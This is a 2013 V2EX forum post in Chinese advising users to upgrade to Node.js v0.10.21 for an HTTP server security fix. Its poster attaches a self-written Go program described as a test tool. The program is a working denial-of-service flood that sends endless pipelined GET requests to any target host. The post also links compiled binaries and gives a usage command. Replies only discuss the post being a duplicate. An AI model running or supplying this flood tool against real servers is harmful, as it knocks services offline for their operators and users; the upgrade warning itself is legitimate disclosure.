pathletboy
V2EX  ›  Node.js

提醒更新Node v0.10.21,以防exploiter

  •  
  •   pathletboy · Oct 19, 2013 · 4249 views
    This topic created in 4616 days ago, the information mentioned may be changed or developed.
    以下是官方说明:
    This release contains a security fix for the http server implementation, please upgrade as soon as possible.

    尽快更新吧,附上测试工具代码

    package main

    /*
    A simple pipelining flood for nodejs
    Author pathletboy[at]gmail.com
    Date 2013-10-18
    */

    import (
    "flag"
    "log"
    "net"
    )

    func main() {
    host := flag.String("host", "", "specify the target")
    flag.Parse()
    if *host == "" {
    flag.PrintDefaults()
    return
    }
    var conn net.Conn
    var err error
    if conn, err = net.Dial("tcp", *host); err != nil {
    log.Fatal(err)
    }
    for {
    if _, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + *host + "\r\nAccept: */*\r\n\r\n")); err != nil {
    log.Fatal(err)
    }
    }
    }

    编译好的bin(win/linux)

    http://pb.itsong.com/floodnode.7z

    floodnode -host="xxx.com:xx"
    4 replies    1970-01-01 08:00:00 +08:00
    GordianZ
        1
    GordianZ  
       Oct 19, 2013
    重复发帖
    /t/86114
    pathletboy
        2
    pathletboy  
    OP
       Oct 19, 2013
    @GordianZ 不知重复在哪,代码本人自己编写,非网上摘抄,请告知重复内容。
    GordianZ
        3
    GordianZ  
       Oct 19, 2013
    @pathletboy 新闻重复了,遇到类似情况请在已发布主题内回帖。
    GordianZ
        4
    GordianZ  
       Oct 19, 2013
    @pathletboy PS, 下次发内容在标题内注明“附 exploit 实现”,不然标题都一样没人知道帖子有什么不同。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   3705 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 38ms · UTC 04:34 · PVG 12:34 · LAX 21:34 · JFK 00:34
    ♥ Do have faith in what you're doing.